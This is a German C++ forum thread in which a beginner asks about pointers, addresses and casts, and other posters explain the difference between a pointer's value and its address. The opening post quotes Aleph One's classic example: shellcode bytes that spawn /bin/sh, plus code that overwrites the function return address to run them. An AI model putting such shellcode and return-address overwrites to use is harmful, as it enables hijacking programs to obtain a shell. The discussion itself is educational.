einige fragen zu typumwandlungen/adressen etc.
-
ich habe mal das hier eingegeben und erschreckendes festgestellt!
1.)int *ret; cout<<&ret<<endl; //0xbf947ab8 cout<<ret<<endl; //0xbf947ac8genau wie das:
2.)nt *ret; ret = new int(5); cout<<&ret<<endl; //0xbfc2429c cout<<ret<<endl; //0x805a880 cout<<*ret<<endl; //5oder das:
3.)char* string = "hallo"; int adresse = reinterpret_cast<int>(string); cout<<"adresse von string "<<adresse<<" = "<<&string<<endl; char* stringCopy = reinterpret_cast<char*>(adresse); cout<<"adresse von stringCopy = "<<&stringCopy<<endl; cout<<stringCopy<<endl;3.)
also ich finde es sehr eigenartig, dass zwei zeiger auf unterschiedliche adressen zeigen, aber trotzdem den selben inhalt haben!!!2.) und 1.) dann finde ich die unterschiedliche adresse sehr eigenartig! eigentlich -dachte ich zumindest- ist der zeiger nur eine adresse, und auf den inhalt kommt man nur mit dem dereferenzierungsoperator?!
und jetzt verurteilt micht nicht wegen diesem code aus dem unixboard!!!
/* By Aleph One */ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }ich dachte folglich also immer dass
ret = (int *)&ret + 2;das selbe ist wie
ret = (int *)ret + 2;aber letzeres führt zu nem fehler!!
dass heißt folglich, ich habe die ganze zeigerproblematik NICHT verstanden!!!

könnte mir einer bitte mal eine aufklärung geben!
MFG @all
-
anmerkung: an sich würde ich nur gerne wissen warum es nicht geht
int *pt; &pt = new int(5);zu machen...
und was der unterschied zwischen: "&pt und nur pt" ist! wo doch beide bei einem cout sowas wie eine adresse ausgeben! bisher habe ich es nur immer so gemacht, dass ich keine fehler bekommen habe! aber ich würde gerne wissen, warum die zeiger funktionieren!

-
int foo; std::cout << "foo: " << foo << '\n' << "_Adresse_ von foo: " << &foo;Darüber solltest du mal meditieren.
-
int foo; std::cout << "foo: " << foo << '\n' << "_Adresse_ von foo: " << &foo;inhalt von foo, dann adresse von foo!
aber:
int *foo; std::cout << "foo: " << foo << '\n' << "_Adresse_ von foo: " << &foo;dann wäre das aber der inhalt und dann wieder die adresse?! aber das kann doch nicht sein, weil man nur an den inhalt kommt, wenn man dereferenziert?!
alsoint *foo; std::cout << "foo: " << *foo << '\n' << "_Adresse_ von foo: " << foo;KURIOS
-
ich habs!
int *foo; cout<<foo; //adresse des pointer cout<<&foo; //adresse auf was foo zeigt?!kann das sein?
-
andersrum
int *foo; cout<<foo; //adresse auf was foo zeigt?! cout<<&foo; //adresse des pointer
-
super, jetzt verstehe ich endlich, diese recht interessante typumwandlung!!!